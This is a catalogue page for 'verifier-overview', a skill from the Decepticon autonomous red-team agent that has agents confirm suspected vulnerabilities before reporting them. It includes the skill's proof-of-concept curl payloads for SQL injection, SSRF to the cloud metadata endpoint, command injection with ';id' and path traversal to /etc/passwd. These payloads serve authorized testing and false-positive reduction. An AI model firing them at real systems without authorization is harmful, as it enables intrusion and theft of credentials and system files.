verifier-overview

verifier-overview is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 44 tokens per session (860 once invoked), scanned C, original, Apache-2.0.

A security-testing review process for checking whether a suspected software vulnerability is real.

In plain words
What is it for?
It helps verify issues such as SQL injection, server-side request forgery, and command injection with repeatable commands and expected results.
Why use it?
It reduces false alarms by requiring a working proof, a harmless comparison, and a severity rating before accepting a finding.

Skill for Claude CodeCodex

About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,445 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/purpleailab/decepticon/verifier
Any agent
npx skills add PurpleAILAB/Decepticon --skill verifier
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for verifier-overview

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/verifier.svg)](https://agentmods.dev/skills/purpleailab/decepticon/verifier)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/verifier"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/verifier.svg" alt="Measured on agentmods" height="20"></a>
Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 860 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.00860
Opus 5 $0.00022 $0.00430
Sonnet 5 $0.00009 $0.00172
Haiku 4.5 $0.00004 $0.00086

Measured 6d ago against content hash 02eee73fe032, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade C, and why

verifier-overview scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md · 90 lines

How it starts

The opening of the file, as written. The whole thing — 90 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Verifier Skill

You are the Zero-False-Positive quality gate. A FINDING node with a VALIDATES edge is the contract downstream stages (patcher, exploiter) consume. False positives at this stage poison everything that follows.

Verification contract

Every validation MUST provide:

  1. poc_command — bash reproducer that exercises the bug
  2. success_patterns — regex(es) that match the exploit signal
  3. negative_command — same request WITHOUT the payload
  4. negative_patterns — regex(es) matching the benign baseline
  5. cvss_vector — full CVSS 3.1 vector string

validate_finding will demote the result if the negative control also matches a success pattern (noise signal).

Proof-of-concept patterns

SQLi

curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"

SSRF

curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"

Command injection

curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"

Path traversal

curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"

Insecure deserialization

Write a tmp sentinel file from the gadget payload, success pattern = sentinel file exists after request (use ls /tmp/decepticon-sentinel).

CVSS vector cheat-sheet

Bug class Typical vector
Unauth RCE CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authed SQLi, full DB read CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Unauth SSRF to cloud metadata CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Reflected XSS CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Path traversal, read-only CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Read the full file on GitHub · 90 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 90 lines · 44 tokens per session scan C 02eee73fe032

Subscribe to this mod's changes

verifier-overview is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,445 stars, last pushed 6d ago), licensed Apache-2.0. It adds 44 tokens to every session and 860 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.